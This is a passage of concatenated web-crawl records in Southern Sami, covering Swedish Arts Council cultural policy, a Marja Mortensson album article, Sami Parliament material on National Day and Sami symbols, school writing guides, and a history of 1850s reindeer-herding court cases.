gyhtjelásside jáksoes mierieŋ bïjre gáájhkide, jïh sjïere stillemem åtŋá bárkedh gúktie kúltúvrefááleŋásse edtjá jákseme mieresŋe årrodh dejtie álmetjidie giej leáh fúŋksjovŋegiehpiedimmie.\nMááŋáj jïh ŋoeri reáktá kúltúvrese\nMááŋáj jïh ŋoeri reáktá kúltúvrese ákte gyhtjelásse mij leá járŋgesŋe ŋásjoŋelle kúltúvrepolitihkesŋe. Mijjeŋ stilleme leá ŋúepieh jieŋebh mááŋide jïh ŋoeride vedtedh ihke dáh edtjieh máehtedh biehkiem váeltedh tjeáhpojste jïh kúltúvreste, åádtjodh meátáŋ årrodh skáepiedidh jïh ŋúepiem dejtie vedtedh tsevtsedh, sááht gúsŋie årroeh, mágkerh etŋisiteete, mij socioekoŋomeles dåehkesŋe jïh jis fúŋksjovŋegiehpiedimmie.\nKúltúvreskúvlejárŋgiŋe bárkebe vúesiehtimmieŋ ihke kúltúvreskúvle edtjá seámmávyörtegs jïh jáksoes gáájhkide årrodh, júktie jieŋebh mááŋáh edtjieh máehtedh kúltúvreööhpehtimmiem åádtjodh jïlle kváliteetiŋe.\nMijjieh bárkebe ááj ihke lohkemem evtiedidh, dovŋe mááŋide jïh ŋoeride. Vúesiehtimmieŋ Bokstárt, Bárŋbokskátálogeŋ jïh Läsámbássádöreŋ.\nMedtie 60% dejstie dåárjojste mejtie mijjieh júekebe libie dárjoemidie mááŋide jïh ŋoeride vedteme.\nMijjieh ááj Litterátúreprijsem Ástrid Liŋdgreŋeŋ mojhtesásse reerie, veárteŋeŋ stööremes mááŋá- jïh ŋoerelitterátúvreprijse mij ákteŋ áejkieŋ fïerhteŋ jáepieŋ júákásåvvá.\nTjeáhpoe jïh kúltúvre ráásti rástáh\nGáskeŋásjoŋelle iktedimmie ŋæŋŋehkåbpoe evtiedimmiem tjeáhpojste vádtá jïh kúltúvrefááleŋássem vádtá gúsŋie dovŋe gellievoete jïh búerebe kváliteete – dovŋe Sveerjesŋe jïh ålkoerïjhkesŋe. Dïhte járŋge leá mijjeŋ gáskeŋásjoŋelle bárkosŋe.\nMijjieh mij mesŋie dåárjoem útŋebe mij gáskeŋásjoŋelle iktedimmiem dåárjede gellie tjeáhpoedájviŋe, jïh dåárjoeh máh edtjieh viehkiehtidh ihke kúltúvreorgáŋisásjovŋh Sveerjesŋe edtjieh máehtedh meátáŋ årrodh gáskeŋásjoŋelle viermiŋe. Soptestimmiereáktá jïh demokrátije ááj gyhtjelássh máh mijjeŋ járŋgesŋe, mij mesŋie bárkoem dåárjedibie årromesijjieh vedtedh tjiehpiedäjjide mij leáh áájhteme jïh váárjelimmiem Sveerjesŋe ohtsedieh.\nKúltúrrådet stillemem åtŋá svïeŋske litterátúvreŋ járkoestimmiem evtiedidh. Vúesiehtimmieŋ mááhtá ovmessie dåárjoeh syökedh Swedish Literátúre Excháŋgesŋe.\nMijjieh bárkebe ááj ihke kúltúvreorgáŋisásjovŋh Sveerjesŋe edtjieh máehtedh gáskeŋásjoŋelle viermiej meátáŋ årrodh jïh fïerhteŋ jáepieŋ dåárjoeh júekebe gáskeŋásjoŋelle viermide.\nMijjieh dïhte ŋásjoŋelle gáskesejárŋge EÚ:ŋ kúltúvreprográmmese Kreátivá Eúropá jïh Úŋescoŋ 2005-koŋveŋsjovŋe mij edtjá dám kúltúrelle gellievoetem váárjelidh jïh gáskeŋásjoŋelle kúltúvreiktedimmie.\nMijjeŋ webbesijjesŋe mááhtáh vielie lohkedh mijjeŋ dárjomeŋ bïjre jïh gúktie dárjoeh jis sïjhth mijjeŋ dåárjoeh syökedh.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.kulturradet.se\/other-languages\/umesamiska\/","date":"2022-11-28T08:05:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710488.2\/warc\/CC-MAIN-20221128070816-20221128100816-00047.warc.gz","language":"sma","language_score":0.9923060536,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9923060536384583}","num_words":490,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.128,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":0.99,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vitnije baalhkeste Spellemannprisen Marja Mortensson sov njealjede albumem «Raajroe – The Reindeer Caravan» bæjhkohte daan biejjien. Daate lea naakede mïsse aavoedamme gellie jaepieh.\nÅarjelsaemien gïelese: Ellen Bull Jonassen\nAkte vuartadihks Marja Mortensson Š-magasijnine soptseste naan gille biejjiej åvtelen altese njealjede albume «Raajroe – The Reindeer Caravan» olkese luajhtasåvva abpe veartenasse.\n– Joekoen fuehpie domtoe albumem bæjhkoehtidh, daelie gosse geatskeneminie. Manne dan guhkiem daejnie barkeme, men damtem manne lim mån maahteme vielie darjodh. Guktie leam naa vuartadihks.\nMarja soptseste satne guhkie lastoem åtneme aktem symfonijeprosjektem darjodh. Voestes åssjaldahke eelki bïehtsegidh joe gosse lij Tråante 2017.\n– Manne gujht åadtjoejim meatan årrodh dennie stoerre heevehtimmieprosjektesne «Jielemen aavoe» jïh ohtje arnam åadtjoejim orkesterinie jïh Beaivvášine spealadidh jïh dan profesjonelle byjresisnie årrodh. Jïh dellie ussjedim «daam gujht sïjhtem ikth vielie darjodh».\nAlbumen musihke tjaalasovvi dæjmetje daelvien. Daniel Herskedal lea albumem orkesterasse sjïehtedamme, guhte aaj albumisnie tjoejehte Jakop Janssønnine jïh Kringkastingsorkesterinie (KORK) ektine.\nMaadtoej jieleden bïjre soptseste\nAlbume «Raajroe – The Reindeer Caravan» aerpiem buakta dehtie saemien njaalmeldh soptsestimmievuekeste.\n– Ibie maa mijjieh soptsesh gærjine jïh tjaaleginie tjaaleme. Men mijjieh soptsesidie buakteme vueliej jïh njaalmeldh soptsestimmievuekiej tjïrrh.\nRaajroe lea symbovline sjïdteme don baalan maam Marja ij leah åådtjeme dååjredh. Don baelien gosse bovtsigujmie tjoejki jïh dejtie guhkies jïh slæjhtoes juhtiemidie darjoeji.\n– Daate lea daajroe jïh aerpievuekie mejtie doh båarasåbpoe almetjh annje utnieh. Manne soptsesijstie dehtie baeleste sjååjmeme.\nJienebh dejstie soptsesijstie mah albumisnie soptsesuvvieh Marja lea govleme maanabaelien raejeste.\n– Daate mov vuekie mijjen histovrijem soptsestidh: dam musihken tjïrrh buektedh, vuelien eatnamisnie.\nEatneme annje soelkelaakan juajka\nAlbumisnie luhkie vuelieh mah fïereguhten soptsesem soptsestieh åvtetje aejkien bïjre, raajroe, eatnemen ietnie, vuelie, aejlies duvrie, gïeteråantja, båeries giedtieh jïh daajbaaletje tïjjen bïjre.\nMij dov lyjhkedsvuelie albumisnie?\n– Joekehtadta biejjeste beajjan jïh våhkoste våhkose. Fïerhten vuelien lea badth jïjtse universe.\nMarja læjhkan soptseste akte dejstie vuelijste maam lyjhkestamme, lea «Vuelieh sjaavoejin».\nSoptsesåvva gosse gïele jïh vuelieh sjaavoejin, dellie eatneme jåarhka joejkedh jïh soelkelaakan mearojne, jeanoejgujmie jïh vaeriejgujmie soptsestidh.\nEatneme juajka jïh soelkelaakan soptseste mearan dom biejjiem vuertieminie gosse mijjieh almetjh vihth mijjen faamoem gaavnebe jïh vihth aelkebe mijjen gïelh soptsestidh jïh mijjen vuelieh joejkedh.\n– Mov håhkoe båetijen aejkien lea mijjieh vihth sijhtebe mijjen kultuvreaerpiem nuhtjedh jïh jåerhkedh. Jïh guarkedh man vihkele eatneme lea mijjen sisnie. Guktie vïenhtem dïhte lea akte dejstie veaksahkommes teekstijste.\nVoestes bæjhkoehtimmie Rørosisnie\nGolken 1.b. voestes bæjhkoehtimmie albumistie «Raajroe – The Reindeer Caravan» Rørosen gærhkosne KORK:ine Raasten rastah-festivaalesne.\nDïsse Marja aavode.\n– Dan joekoen njaelkie minngemosth luhpiem åadtjodh daam almetjefeestem utnedh. Stoerre dååjrese sjædta daam musihkem jielije darjodh, jïh damtedh musihke jielieminie raaktan daesnie jïh daelie. Njaelkie domtoe musihkem sïjse spealadidh jïh dam bæjhkoehtidh. Men mij akt eevre jeatjah desnie tjåadtjodh jïh gaskoeh musihkesne årrodh, Marja minngemes jeahta.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ungdomsmagasin.no\/daeriedidie-raajroem-marja-mortenssonine-ektine\/","date":"2022-12-03T16:17:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710933.89\/warc\/CC-MAIN-20221203143925-20221203173925-00703.warc.gz","language":"sma","language_score":0.9999803305,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999803304672241}","num_words":430,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiej åålmegebiejjie geatskeneminie! Saemiej åålmegebiejjie geatskeneminie jïh saemiedigkiepolitihkerh öörnemidie bööresuvvieh. Saemiedigkieraerie joe daelie vuajna gellie bööredimmieh saemiedigkiepolitihkeridie båetieh Saemiej åålmegebiejjien sjïekenisnie mubpien jaepien. Jis daate edtja hijvenlaakan juhtedh, mijjieh dijjem birrebe bööredimmiem seedtedh åvtelen 14.01.2023. Seedtede bööredimmiem diekie: email@example.com – Mijjieh sïjhtebe tïjjemieriem bööredimmide bïejedh, guktie mijjieh hijven soejkesjimmine nöörebe stïeresne årrodh gellene lehkesne, gaskesadtemen direktööre Liv Inger Somby jeahta. Siebrieh, organisasjovnh, tjïelth jïh jeatjah byögkeles orgaanh mah joe leah bööredimmieh sïjse seedteme, eah daarpesjh dam orresistie darjodh, dan åvteste Saemiedigkie lea joe dejtie registreereme. ArtikkelPublisertDatoFront 17.11.2022 10.31 SistEndret 17.11.2022 10.32","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/sametinget.no\/saernieh\/saemiej-aalmegebiejjie-geatskeneminie.22888.aspx","date":"2022-12-07T23:43:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711221.94\/warc\/CC-MAIN-20221207221727-20221208011727-00662.warc.gz","language":"sma","language_score":0.9999060631,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999906063079834}","num_words":85,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Goevten 6.b. lea byögkeles saevegebiejjie Nöörjesne. Gellie heannadimmieh jïh symbovlh leah vïedteldihkie beajjan. Saemiedigkieraerie biejjiem aavode sov baeline abpe laantesne. Vuartesjh vöölemes sæjrosne gusnie nuhteligs svaalhtesh bïevnesidie åålmegebiejjien bïjre.\nBiejjiem mojhtesinie aavoedibie dan voestes saemien rïjhketjåanghkoen bïjre mij lij Metodistegærhkosne Tråantesne 1917. Daate lij voestes aejkien saemieh lin tjåanghkenamme juktie ektie saemien aamhtesi åvteste barkedh nasjonaalestaati raasti rastah. Voestes aejkien biejjiem aavoedi lij 1993.\nNuhteligs vierhtieh maanagïertide, skuvlide jïh jeatjabidie\nBaakoegærjetje\nGïelekampanjen sjïekenisnie «Saemesth munnjien» lea låammegærjetjem bæjhkoehtamme aarkebiejjien baakoejgujmie jïh jiehtegigujmie dovne noerhtesaemien, julevsaemien jïh åarjelsaemien gïelesne.\nVeedtjh Sátnegirjjáš - báhkogirjásj - baakoegærjetje – saemien låammegærjetje! (PDF, 743 kB)\nApplikasjovne\nSaemiedigkie applikasjovnem 10\/20 bágo dorjeme mij gaajhkide laanten maanagïertide jïh maadthskuvlide sjeahta. Ulmie lea gaajhkh maanah laanten maadthskuvline jïh maanagïertine edtjieh såemies baakoeh saemiengïelesne lïeredh. Applikasjovne lea åarjelsaemien, julevsaemien jïh noerhtesaemien gïelesne, jïh desnie dovne guvvieh jïh tjoejefijlh.\nSaemiedigkie aaj låammegærjetje-appliksjovnem dorjeme man nomme Saemesth! Daate gærjetje hijven bööredimmine sjeahta saemiestidh voestes gaavnedimmesne, aarkebiejjien jïh hïejesne.\nSaemien saevege\nVihkeles symbovle aavoedimmesne goevten 6.biejjeste lea saevege. Saemien saevege lea ektie gaajhkide saemide, saaht mennie laantesne dah årroeh. Noerhtelaanti saemiekonferanse Ååresne, Sveerjesne saevegem jååhkesji mïetsken 15.b. 1986, jïh saemien tjiehpiedæjja Astrid Båhl, Skibotnistie Romsesne lea saevegem hammoedamme.\nÅejviemotijve lea veedtjesovveme gievreste jïh dikteste Biejjien baernieh maam åarjelsaemie Anders Fjellner tjeeli. Daennie diktesne Fjellner saemide buerkeste goh biejjien baernieh. Saevegen gievlie edtja biejjiem jïh askem vuesiehtidh. Duekie (rööpses, plaave, kruana jïh viskes) lea ajve doh saemien klaerieh (mah leah doh sïejhmemes klaerieh saemien gaptine). Ovmessie mïelh klaeriej symbovli bïjre, jïh dan åvteste ij leah dejtie veelebelaakan tjïelkestamme.\nSaemien saevege jååhkesjimmiem Nöörjesne åadtjoeji 2003, jarkelimmiej tjirrh Saemielaakesne jïh Laake saevegebijjiedimmien bïjre tjïelti byögkeles gåetine. Stoerredigkie seamma tïjjen faamoem vedti Saemiedægkan mieriedimmieh åtnoen bïjre saeviegistie nænnoestidh. Saemiedigkie mieriedimmide nænnoesti suehpeden 27.b. 2004. Saevegen lea byögkeles statuse, men ij leah nasjonaalesaevege mij almetjerïekteles jïh staaterïekteles gånkarïjhkem Nöörje representerede.\nMieriedimmie åtnoen bïjre saemien saeviegistie\nSaevegen klaerieh jïh dimensjovnh\nSe NRK-video: Hva betyr det samiske flagget?\nSaemien åålmegelaavlome\nSaemien åålmegelaavlome, Saemiej laavlome, lea dikte maam Isak Saba tjeeli jïh bæjhkoehti plaeresne Sagai Muittalægje 1906. Saemiekonferanse Ååresne 1986 dam saemien åålmegelaavloeminie nænnoesti. Arne Sørli melodijem diktese darjoeji, jïh 15. saemiekonferanse Helsinkisne dam jååhkesji 1992. Teekstem jarkoestamme noerhtesaemien gïeleste dejtie jeatjah saemien gïelide.\nDaennie tjaatseginie Saemiej laavlome gååvnese noerhtesaemien, julevsaemien, åarjelsaemien jïh daaroen gïelesne: Saemiej laavlome (PDF, 169 kB)\nGoltelh Saemiej laavlomem Youtubesne\nSamisk nasjonaljoik\nSaemien 22. konferanse nænnoesti 2022 Áillohašen, Nils-Aslak Valkeapääen joejke Sámi eatnan duoddarid edtja saemien åålmegejoejkine årrodh. Joejken vuelie jïh teekste jïh tjaalasovveme åemie artiste Nils-Aslak Valkeapääste. Joejken aalkoegïele lea noerhtesaemien, men daelie dam jarkoestamme dovne åarjel-, -julev-, enare-, skolte- jïh kildinsaemiengïelese.\nLohkh åålmegejoejken teeksth (Saamicouncil.net)\nGoltelh Sámi eatnan duoddariid Youtubesne\nÅtnoe baakoetjïerteste «nasjonaldag»\nGosse saemiekonferanse 1992 goevten 6.biejjiem saemien åålmegebiejjine nænnoesti, dellie nænnoestimmie lij noerhtesaemiengielesne jïh baakoetjïerte «sámi álbmotbeaivi» åtnasovvi. Gosse dam daaroengielese jarkoste dellie dïhte sjædta samisk\/samenes nasjonaldag. Såemies nöörjen jarkoestimmine «samefolkets dag» tjåådtjeme dan åvteste sámi lea samisk, álbmot lea folk jïh beaivi lea dag. Dennie sveerjen jarkoestimmesne saemiekonferanseste baakoetjïerte «samernas nationaldag» åtnasovvi.\nNöörjen baakoetjïerth «samefolkets dag» jïh «samisk folkedag» leah tseegkesovveme ovveele jarkoestimmiej gaavhtan jïh såemiesmearan goh illedahke baakoetjïerteste «nasjonaldag» man bïjre jeenjesh eah leah sïemes. Saemiekonferanse gujht våaroemasse bïeji saemieh leah akte åålmege (nasjovne) jïh åtnoe baakoetjïerteste nasjovne ij aktem jïjtse staatem krïevh. Dovne saemiekonferanse (mænngan Saemieraerie) jïh noerhtelaanti saemiedigkieh baakoetjïertem «åålmegebiejjie» nuhtjieh.\nEktieårgaane reeremasse jïh evtiedæmman saemien nasjonaale symbovlijste\nSaemien parlamentarihkeles raerie jïh Saemieraerie leah ektie årgaanem tseegkeme mij saemien nasjonaale symbovlh reerie jïh evtede. Ektieårgaanen mandaate lea njoelkedassh raeriestidh reeremen bïjre saemien nasjonaale symbovlijste, jïh vuarjasjidh mejtie saemien nasjonaale symbovlide dagkerh njoelkedassh edtjieh faamosne årrodh.\nLohkh vielie daesnie\nByögkeles saemien saevegebiejjieh\nDoh byögkeles saemien saevegebiejjieh mejtie Saemiekonferanse Helsinkisne nænnoesti 1992, Saemiekonferanse Murmanskesne nænnoesti 1996 jïh Saemiekonferanse Tråantesne nænnoesti 2017 leah:\n- Goevten 6. b. –Saemien åålmegebiejjie goh mojhtese dan voestes rïjhketjåanghkoen bïjre Tråantesne 1917\n- Njoktjen 2. b. – Såevmien Saemiedigkie tseegkesovvi 1996 jïh saemiedelegasjovnen sijjeste bööti mij tseegkesovvi 1973.\n- Njoktjen 25. b. – Maarjanbiejjie, aerpievuekien saemien bissiebiejjie\n- Ruffien 24. b. – Jovnesåhkoeh-biejjie - byögkeles bissiebiejjie\n- Mïetsken 9. b. – EN:n gaskenasjonaale aalkoeåålmegebiejjie\n- Mïetsken 15. b. – Saemien saevege nænnoestamme sjïdti daan biejjien 1986\n- Mïetsken 18. b. – Saemieraerie tseegkesovvi daan biejjien 1956\n- Mïetsken 26. b. – Rïhpestimmie Sveerjen Saemiedigkeste daan biejjien 1993\n- Golken 9. b. – Rïhpestimmie Nöörjen Saemiedigkeste daan biejjien 1989\n- Gålkoen 9. b. – Delegasjovne saemien aamhtesidie tseegkesovvi Såevmesne 1973\n- Gålkoen 15. b. – Isak Saban reakedsbiejjie 1875. Dïhte saemiej åålmegelaavlomen teekstem tjeeli\n- Gålkoen 29. b. – Elsa Laula Renbergen reakedsbiejjie 1877\nVielie bïevnesh\nStore norske leksikon:\nVideove:\nLovdata","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/sametinget.no\/om-sametinget\/nasjonaldag-og-nasjonale-symboler\/?sprak=14","date":"2022-12-08T00:18:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711221.94\/warc\/CC-MAIN-20221207221727-20221208011727-00448.warc.gz","language":"sma","language_score":0.9998409748,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998409748077393}","num_words":687,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.147,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke lea vihkeles faage sjugniedimmiefaamoen, kultuvregoerkesen jïh identiteeteevtiedimmien gaavhtan. Faagen tjïrrh learohkh våaromem åadtjoeh meatan årrodh musihkesne aktene jieledeguhkies perspektijvesne. Faagesne musihke learohkh maahtoem evtiedieh joejkemisnie, laavloemisnie, tjoejehtimmesne jïh daanhtsosne, musihkem darjodh jïh gellielaaketje vuekieh hammoedidh jïh guarkedh. Faage edtja viehkiehtidh guktie learohkh guarkoeh guktie saemien musihke dovne saemien kultuvreste båata, jïh jeatjah musihke jeatjah kultuvrijste, jïh guktie musihke hijven kultuvrem sjugnede jïh seabradahkejarkelimmieh Saepmesne jïh jeatjah lehkesne veartenisnie vadta. Learohkh edtjieh åadtjodh dååjrehtidh musihke maahta jieledekvaliteetem vedtedh. Musihkefaage edtja learoehkidie ryöjrehtidh meatan årrodh seabradahke- jïh barkoejieliedassesne gusnie daerpies praktihkeles jïh estetihkeles tjiehpiesvoetigujmie, kreativiteetine jïh sosijaale ektiedahkojne.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2022-12-03T11:40:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710931.81\/warc\/CC-MAIN-20221203111902-20221203141902-00802.warc.gz","language":"sma","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000027418136597}","num_words":97,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.116,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelebarkije lea orre lïhtsege Sveerjen saatnankommisjovne\nPatricia Fjellgren, gïelebarkije Mihteste jïh Ađevuopmiste, lea orre lïhtsege Sveerjen saatnankommisjovne.\nMænngan daiddar Brita Marakatt-Labba jïh gïeleprofessor Mikael Svonni kommisjovnem laehpieh kultuvre-jïh gïelebarkije vaeltie akte sijjie.\n2017 Fjellgren Språkråden baalka åadtjoeji sov barkoe gïele-jealajimmien åvteste.\n– Lea stoerre earoe, bene aaj stoerre dïedte, Fjellgren jeahta SRese.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.nrk.no\/sapmi\/gielebarkije-lea-orre-lihtsege-sveerjen-saatnankommisjovne-1.16177763","date":"2023-01-29T02:59:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499697.75\/warc\/CC-MAIN-20230129012420-20230129042420-00007.warc.gz","language":"sma","language_score":0.985024631,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.985024631023407, \"sme_Latn_score\": 0.014935450628399849}","num_words":50,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGuktie lyrihkem analyseradidh\nGellien aejkien lyrihke åenehks teeksth. Lïerh guktie maahtah diktem analyseradidh. Gosse analyseredeminie delllie edtjh vierhkie-vierhtieh gaavnedh, jïh lissine hammoen jïh dïjren bïjre tjaeledh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:554569ef-99f7-43fb-884c-0cd905a67850\/","date":"2023-01-28T13:00:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499634.11\/warc\/CC-MAIN-20230128121809-20230128151809-00515.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":67,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien voestesgïeline (BF jåa1\/jåa2)\nTjaeledh\nGosse datne tjaalah, dellie maahtah dov tjaalegem soejkesjidh, jeatjahtehtedh jïh bueriedidh. Mujhtieh dah mah dov tjaalegem luhkieh, eah maehtieh datnem gihtjedh jis ih tjïelke tjaaleme. Hijven tjaeleme teekste lea buerie viehkie lohkijasse jïh aaj luste lohkedh.\nGuktie novellam analyseradidh jïh tjaeledh\nNovelle lea tjaaleldh jïh litterææren soptsese maam tjaelije hæhtadamme. Komposisjovne jïh gïele leah kåansten hammojne tjaaleme.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:e7cff23e-2217-49d4-822d-43f4dff47a12\/","date":"2023-02-03T21:05:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500074.73\/warc\/CC-MAIN-20230203185547-20230203215547-00131.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":62,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse edtjh lohkije-teekstem tjaeledh dellie maahtah maadth-bïhkedassem «Dïhte gollehke gïete» nuhtjedh. Dellie aktem teekstem tjaalah mesnie vïjhte boelhkh – akte fïereguhten soermese aktene gïetesne.\nTeeksten nomme\nLohkije-teekstesne teeksten nomme vihkeles. Tjaelieh teeksten nommem naemhtie guktie lohkije guarka man bïjre teekste. Mujhtieh aaj teeksten nomme edtja lohkijasse lastoem vedtedh vielie lohkedh. Darjoeh dan åvteste aktem hijven bijjie-baakoem mij vuesehte maam datne mïelh.\nAalkoe\nAalkosne datne aamhtesem åehpiedahtah. Maahtah aaj dov veanhtoem mubpesth tjaeledh jis sïjhth, men maaje ånnetji jeatjah baakoejgujmie goh teeksten nommesne. Dastegh aktem teekstem vaestedh aktede jeatjah almetjistie, tjoerh dam lohkijasse saarnodh dallatjinie, v.g.: «Manne raaktan måarahtovvim gosse Piere Dearkan teekstem lohkim Learohkh fer aeblehts! plaeresne Snåsningen jååktan….» Datne åenehkslaakan tjaalah man bïjre Dearkan teekste lij, jïh mænngan dov mïelem tjaalah.\nÅejvie-boelhke\nÅejvie-boelhkesne datne dejtie golme argumentide åehpiedahtah mah dov mïelen mietie leah vihkielommes. Tjïelkesth dov argumenth sjyöhtehke rïektesigujmie, vuesiehtimmiejgujmie jïh dååjrehtimmiejgujmie. Rïektese dov ussjedammesvoetem lissehte, vuesiehtimmieh jïh dååjrehtimmieh domtesh jïh eadtjohkevoetem gåaskoeh! Uvtemes edtjh ajve dov argumentasjovnen bïjre tjaeledh, jïh edtjh ajve vuestie-argumeenti bïjre tjaeledh jis eevre daerpies.\nGalhkuve\nGalhkuvisnie datne edtjh iktedidh jïh konkluderadidh. Tjaelieh maaje dov veanhtoem mubpesth, akten minngemes aejkien. Hijven aktine appelline galhkedh (haestieminie) lohkijasse. Minngemosth datne dov nommem tjaalah.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:11f13e74-7cb8-4651-8d10-0927e7a9de48\/topic:2:49b7764c-2e18-4f5f-9bb6-b3ca739f519b\/resource:679c3ee0-8ba0-4f8a-92e8-a61baa6fda85","date":"2023-03-25T08:32:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945317.85\/warc\/CC-MAIN-20230325064253-20230325094253-00370.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":195,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"BÅATSOE BEHTJIEDIMMIEN NUELESNE\n\"Han konkluderte med å si at alle andre krav fra lappene betraktet han som underordnet dette ene: \"KRAVET OM SEDVANERETTENS BESTÅENDE\". \"\nDaniel Mortenson 1908, referert i K. G. Rogstad, Streif i sør-samenes saga, 1980\n1850-jaepiej saemien fuelhkieh dåarjoem reaktasuerkesne åadtjoeji. Reaktam årromesæjjan jïh gåatoemasse Feragen luvlielisnie vihtiestamme sjïdti akten guhkies åtnoen gaavhtan. Dej minngebe luhkiejaepiej tsiehkie jorkesi. Gellede lehkeste krïevenassh böötih saemieh tjoerin maaksoem maeksedh skaarjaj åvteste mejtie bovtse lij dorjeme, jïh juerie tseegkesovvi saemiej gåatomereaktaj bïjre. Saemien fuelhkieh reakta-aamhtesidie teehpin, jïh jienebh fuelhkieh sijjen dajvijste juhtin.\nBÅATSOE BEHTJIEDIMMIEN NUELESNE\nJaepien 1848 Røros Kobberverk båatsoesaemieh steebni dan åvteste dah luhpehts bovtsigujmie hööllestin Ljøsnådalesne Feragen luvlielisnie. Kobberverket aaj maaksoem krïevi skaaraj åvteste skåajjesne. Vueliereakta dåapmoem böökti 1851, jïh saemieh dåarjoem åadtjoejin ihke dah lin bovtsigujmie dejnie sjyöhtehke dajvine hööltestamme dejpelistie. Saemien fuelhkieh åadtjoejin årromesijjieh jïh gåatomem utniehtidh, jïh slyöhpin maeksedh skaaraj åvteste skåajjesne. Kobberverket aamhtesem leejhti men Stiftsoverretten seamma konklusjovnese bööti jïh saemieh lutniestovvi jaepien 1853.\nDej minngebi luhkiejaepiej saemiefuelhkieh steebnesovvin gellede lehkeste. Jïjnjh dejstie aamhtesijstie lin skaaraj bïjre sïetereïentjine jïh kluhteregåatomehaakaninie. Båantah jeehtin saemiefuelhkieh idtjin reaktam utnieh dajvesne årrodh, jalhts sïeterh daamtaj lin bïejeme båeries giedtieaevjine jallh saemien årromesijjine. Ovvaantoeh meehtin gelliej reaktasuerkiej tjïrrh juhtedh, jïh gellie jaepieh ryöhkedh. Mænngan 